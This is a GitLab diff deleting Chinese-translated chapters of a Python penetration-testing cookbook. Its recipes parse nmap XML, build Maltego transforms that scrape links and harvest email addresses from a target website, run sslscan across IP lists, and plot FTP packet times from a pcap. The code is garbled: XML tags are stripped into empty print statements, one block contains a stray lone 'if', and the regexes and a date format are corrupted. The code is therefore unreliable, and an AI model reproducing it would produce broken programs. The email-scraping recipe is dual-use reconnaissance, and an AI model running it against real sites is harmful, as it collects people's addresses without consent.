-然后，我们有一个`with`声明。那是什么？以前，当您在 Python 中打开文件时，必须记住在完成后关闭它。在这种情况下，`with`语句将在执行完其中的所有代码后为您执行此操作。如果您没有很好的内存，并且总是忘记关闭代码中的文件，那就太好了：
-
-```
-with open(“./nmap_output.xml”, “r”) as fd:
-```
-
-在`with`语句之后，我们将文件的内容读入一个`content`变量（我们可以随意调用这个变量，但为什么会使事情过于复杂？）
-
-```
- content = fd.read()
-```
-
-使用我们之前创建的`Portscanner`对象，我们现在可以使用一种方法分析内容，该方法将解析我们提供的 XML 输出，然后我们可以将其打印为 CSV：
-
-```
-nm.analyse_nmap_xml_scan(content)
- print(nm.csv())
-```
-
-# 从 URL 提取指向 Maltego 的链接
-
-本模块中还有一个配方，说明了如何使用`BeautifulSoup`库以编程方式获取域名。此配方将向您展示如何创建局部 Maltego 变换，然后您可以在 Maltego 内部使用该变换，以易于使用的图形方式生成信息。通过此转换收集的链接，还可以将其用作更大的爬行或爬行解决方案的一部分。
-
-## 怎么做…
-
-下面的代码显示了如何创建一个脚本，该脚本将枚举的信息输出为 Maltego 的正确格式：
-
-```
-import urllib2
-from bs4 import BeautifulSoup
-import sys
-
-tarurl = sys.argv[1]
-if tarurl[-1] == “/”:
- tarurl = tarurl[:-1]
-print””
-print””
-print” ”
-
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-for line in soup.find_all(‘a’):
- newline = line.get(‘href’)
- if newline[:4] == “http”:
- print””
- print””+str(newline)+””
- print””
- elif newline[:1] == “/”:
- combline = tarurl+newline
- print””
- print””+str(combline)+””
- print””
-print” ”
-print””
-print””
-```
-
-## 它是如何工作的…
-
-首先我们导入此配方所需的所有模块。您可能已经注意到，对于`BeautifulSoup`，我们有以下行：
-
-```
-from bs4 import BeautifulSoup
-```
-
-因此，当我们使用`BeautifulSoup`时，我们只需键入`BeautifulSoup`而不是`bs4.BeautifulSoup`。
-
-然后，我们将参数中提供的目标 URL 分配到一个变量中：
-
-```
-tarurl = sys.argv[1]
-```
-
-完成后，我们检查目标 URL 是否以`/`结尾。如果是，那么我们通过将`tarurl`变量替换为`tarurl`的最后一个字符以外的所有字符来删除最后一个字符，以便以后在完全输出相对链接时可以在配方中使用它：
-
-```
-if tarurl[-1] == “/”:
- tarurl = tarurl[:-1]
-```
-
-然后，我们打印出构成 Maltego 转换响应一部分的标签：
-
-```
-print””
-print””
-print” ”
-```
-
-然后我们用`urllib2`打开目标`url`并将其存储在`BeautifulSoup`中：
-
-```
-url = urllib2.urlopen(tarurl).read()
-soup = BeautifulSoup(url)
-```
-
-我们现在使用“汤”查找所有``标签。更具体地说，我们将寻找带有超文本引用（链接）的``标记：
-
-```
-for line in soup.find_all(‘a’):
- newline = line.get(‘href’)
-```
-
-如果链接的前四个字符为`http`，我们将其输出为正确的格式，作为 Maltego 的实体：
-
-```
-if newline[:4] == “http”:
- print””
- print””+str(newline)+””
- print””
-```
-
-如果第一个字符是`/`，表示该链接是一个相对链接，那么我们将在为该链接添加目标 URL 后，将其输出为正确的格式。虽然此配方显示了如何处理相对链接的一个示例，但需要注意的是，还有其他类型的相对链接，如文件名（`example.php`）、目录以及相对路径点符号（`../../example.php`），如下所示：
-
-```
-elif newline[:1] == “/”:
- combline = tarurl+newline
- if
- print””
- print””+str(combline)+””
- print””
-```
-
-处理完页面上的所有链接后，关闭在输出开始时打开的所有标记：
-
-```
-print” ”
-print””
-print””
-```
-
-## 还有更多…
-
-`BeautifulSoup`库包含其他可以使代码更简单的函数。其中一个函数称为**SoupStrainer**。SoupStrainer 将允许您只解析文档中所需的部分。我们将此作为练习留给您进行探索。
-
-# 提取发送给 Maltego 的电子邮件
-
-本模块中的还有一个配方，说明了如何从网站中提取电子邮件。本食谱将向您展示如何创建本地 Maltego 转换，然后您可以在 Maltego 自身中使用该转换生成信息。它可以与 URL 爬行转换结合使用，从整个网站中提取电子邮件。
-
-## 怎么做…
-
-以下代码显示了如何通过使用正则表达式从网站提取电子邮件：
-
-```
-import urllib2
-import re
-import sys
-
-tarurl = sys.argv[1]
-url = urllib2.urlopen(tarurl).read()
-regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~- ]+(?:\.[*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&’*+\/=?^_`” “{|}~- ]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|” “\ sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”))
-
-print””
-print””
-print” ”
-emails = re.findall(regex, url)
-for email in emails:
- print” ”
- print” ”+str(email[0])+””
- print” ”
-print” ”
-print””
-print””
-```
-
-## 它是如何工作的…
-
-脚本顶部导入必要的模块。然后，我们将作为参数提供的 URL 分配给变量，并使用`urllib2`打开`url`列表：
-
-```
-tarurl = sys.argv[1]
-url = urllib2.urlopen(tarurl).read()
-```
-
-然后，我们创建一个与标准电子邮件地址格式匹配的正则表达式：
-
-```
-regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~-]+(?:\.[a-z0- 9!#$%&’*+\/=?^_`” “{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|” “\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”))
-```
-
-前面的正则表达式应与格式为`email@address.com`的电子邮件地址或地址为.com 的电子邮件地址相匹配。
-
-然后我们输出有效 Maltego 变换输出所需的标签：
-
-```
-print””
-print””
-print” ”
-```
-
-然后，我们在`url`内容中找到与正则表达式匹配的所有文本实例：
-
-```
-emails = re.findall(regex, url)
-```
-
-然后，我们获取找到的每个电子邮件地址，并将其以正确的格式输出，以进行 Maltego 转换响应：
-
-```
-for email in emails:
- print” ”
- print” ”+str(email[0])+””
- print” ”
-```
-
-然后关闭之前打开的打开标签：
-
-```
-print” ”
-print””
-print””
-```
-
-# 将 Sslscan 解析为 CSV
-
-Sslscan 是一个用于枚举 HTTPS 站点支持的密码的工具。了解站点支持的密码在 web 应用程序测试中很有用。如果某些支持的密码较弱，则这在渗透测试中更有用。
-
-## 怎么做…
-
-此配方将在指定的 IP 地址上运行 Sslscan，并将结果输出为 CSV 格式：
-
-```
-import subprocess
-import sys
-
-ipfile = sys.argv[1]
-
-IPs = open(ipfile, “r”)
-output = open(“sslscan.csv”, “w+”)
-
-for IP in IPs:
- try:
- command = “sslscan “+IP
-
- ciphers = subprocess.check_output(command.split())
-
- for line in ciphers.splitlines():
- if “Accepted” in line:
- output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)
- except:
- pass
-```
-
-## 它是如何工作的…
-
-我们首先导入必要的模块，并将参数中提供的文件名分配给一个变量：
-
-```
-import subprocess
-import sys
-
-ipfile = sys.argv[1]
-```
-
-提供的文件名应指向包含 IP 地址列表的文件。我们以只读方式打开此文件：
-
-```
-IPs = open(ipfile, “r”)
-```
-
-然后用`w+`代替`r`打开文件进行读写输出：
-
-```
-output = open(“sslscan.csv”, “w+”)
-```
-
-现在既然我们有了我们的输入和输出，我们就可以开始了。我们首先遍历 IP 地址：
-
-```
-for IP in IPs:
-```
-
-对于每个 IP，我们运行 Sslscan：
-
-```
- try:
- command = “sslscan “+IP
-```
-
-然后，我们将命令的输出分为多个块：
-
-```
- ciphers = subprocess.check_output(command.split())
-```
-
-然后我们逐行检查输出。如果该行包含单词`Accepted`，则我们安排该行的元素进行 CSV 输出：
-
-```
- for line in ciphers.splitlines():
- if “Accepted” in line:
- output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)
-```
-
-最后，如果出于任何原因，尝试在 IP 上运行 SSL 扫描失败，我们只需转到下一个 IP 地址：
-
-```
- except:
- pass
-```
-
-# 使用 plot.ly 生成图形
-
-有时候拥有数据的可视表示真的很好。在这个配方中，我们将使用`plot.ly`python API 生成一个漂亮的图形。
-
-## 准备好了吗
-
-在这个配方中，我们将使用`plot.ly`API 生成图形。如果您还没有账户，您需要在[注册一个账户 https://plot.ly](https://plot.ly) 。
-
-一旦您拥有一个帐户，您将需要准备好使用`plot.ly`的环境。
-
-最简单的方法是使用`pip`安装，所以只需运行以下命令：
-
-```
-$ pip install plotly
-
-```
-
-然后，您需要运行以下命令（用您自己的命令替换`{username}`、`{apikey}`和`{streamids}`，这些命令可以在`plot.ly`站点上的您的帐户订阅下查看）：
-
-```
-python -c “import plotly; plotly.tools.set_credentials_file(username=’{username}’, api_key=’{apikey}’, stream_ids=[{streamids}])”
-
-```
-
-如果您遵循这个示例，那么我使用了在线提供的用于测试的`pcap`文件：[http://www.snaketrap.co.uk/pcaps/hbot.pcap](http://www.snaketrap.co.uk/pcaps/hbot.pcap) 。
-
-我们将枚举`pcap`文件中的所有 FTP 数据包，并根据时间绘制它们。
-
-为了解析`pcap`文件，我们将使用`dpkt`模块。与早期配方中使用的`Scapy`类似，`dpkt`也可用于解析和操作数据包。
-
-最简单的方法是使用`pip`安装。只需运行以下命令：
-
-```
-$ pip install dpkt
-
-```
-
-## 怎么做…
-
-此配方将读取一个`pcap`文件，并提取任何 FTP 数据包的日期和时间，然后将此数据绘制成图形：
-
-```
-import time, dpkt
-import plotly.plotly as py
-from plotly.graph_objs import *
-from datetime import datetime
-
-filename = ‘hbot.pcap’
-
-full_datetime_list = []
-dates = []
-
-for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
- eth=dpkt.ethernet.Ethernet(pkt)
- if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
- continue
-
- ip = eth.data
- tcp=ip.data
-
- if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
- continue
-
- if tcp.dport == 21 or tcp.sport == 21:
- full_datetime_list.append((ts, str(time.ctime(ts))))
-
-for t,d in full_datetime_list:
- if d not in dates:
- dates.append(d)
-
-dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d %H:%M:%S %Y”))
-
-datecount = []
-
-for d in dates:
- counter = 0
- for d1 in full_datetime_list:
- if d1[1] == d:
- counter += 1
-
- datecount.append(counter)
-
-data = Data([
- Scatter(
- x=dates,
- y=datecount
- )
-])
-plot_url = py.plot(data, filename=’FTP Requests’)
-```
-
-## 它是如何工作的…
-
-我们首先导入必要的模块，并将`pcap`文件的文件名分配给一个变量：
-
-```
-import time, dpkt
-import plotly.plotly as py
-from plotly.graph_objs import *
-from datetime import datetime
-
-filename = ‘hbot.pcap’
-```
-
-接下来，我们设置我们的列表，当我们迭代我们的`pcap`文件时，我们将填充这些列表。`Full_datetime_list`变量将保存所有 FTP 数据包日期，而`dates`将用于保存完整列表中唯一的`datetime`：
-
-```
-full_datetime_list = []
-dates = []
-```
-
-然后我们打开`pcap`文件进行读取，并在`for`循环中对其进行迭代。本节检查数据包是否为 FTP 数据包，如果是，则将时间附加到我们的阵列：
-
-```
-for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
- eth=dpkt.ethernet.Ethernet(pkt)
- if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
- continue
-
- ip = eth.data
- tcp=ip.data
-
- if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
- continue
-
- if tcp.dport == 21 or tcp.sport == 21:
- full_datetime_list.append((ts, str(time.ctime(ts))))
-```
-
-现在我们有了 FTP 流量的`datetime`函数列表，我们可以从中获得唯一的`datetime`函数并填充我们的`dates`数组：
-
-```
-for t,d in full_datetime_list:
- if d not in dates:
- dates.append(d)
-```
-
-然后，我们对日期进行排序，使其在图表上按顺序排列：
-
-```
-dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d H:%M:%S %Y”))
-```
-
-然后，我们只需迭代唯一的日期，并计算在此期间从较大的数组发送/接收的所有数据包，然后填充计数器数组：
-
-```
-datecount = []
-
-for d in dates:
- counter = 0
- for d1 in full_datetime_list:
- if d1[1] == d:
- counter += 1
-
- datecount.append(counter)
-```
-
-只需使用我们的日期数组对`plot.ly`进行 API 调用，并将数组作为数据点进行计数：
-
-```
-data = Data([
- Scatter(
- x=dates,
- y=datecount
- )
-])
-plot_url = py.plot(data, filename=’FTP Requests’)
-```
-
-当您运行脚本时，它会弹出浏览器，打开您新创建的`plot.ly`图形，如下所示：
-
-
-
-这就是全部。`plot.ly`有很多不同的方法来可视化您的数据，值得一试。想想当你的老板看到你开始发送的所有漂亮图表时，他们会给你留下多么深刻的印象。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/27.md b/trans/py-pentest-dev/27.md
deleted file mode 100644
index e979a2d..0000000
--- a/trans/py-pentest-dev/27.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# 附录 A.参考书目
-
-这条学习道路是一条内容的混合体，所有内容都打包在一起，让您的旅程牢记在心。它包括以下 Packt 产品的内容：
-
-* *使用 Python 学习渗透测试-Christopher Duffy*
-* *Python 渗透测试要领，Mohit*
-* *Python Web 渗透测试食谱-卡梅隆·布坎南、特里·Ip、安德鲁·马比特、本杰明·梅、戴夫·芒德*
\ No newline at end of file
diff --git a/trans/py-pentest-dev/sec1.md b/trans/py-pentest-dev/sec1.md
deleted file mode 100644
index aa231ac..0000000
--- a/trans/py-pentest-dev/sec1.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 第一部分。单元 1
-
-> ***用 Python 学习渗透测试***
->
-> *利用 Python 脚本执行高效的渗透测试*
\ No newline at end of file
diff --git a/trans/py-pentest-dev/sec2.md b/trans/py-pentest-dev/sec2.md
deleted file mode 100644
index 72e9217..0000000
--- a/trans/py-pentest-dev/sec2.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 第二部分。单元 2
-
-> ***Python 渗透测试要领***
->
-> *利用 Python 的力量，充分利用 pentesting*
\ No newline at end of file
diff --git a/trans/py-pentest-dev/sec3.md b/trans/py-pentest-dev/sec3.md
deleted file mode 100644
index 9059929..0000000
--- a/trans/py-pentest-dev/sec3.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 第三部分。单元 3
-
-> ***Python Web 渗透测试食谱***
->
-> *60 多个不可或缺的 Python 配方，确保您随时掌握正确的 web 应用程序测试代码*
\ No newline at end of file
--
GitLab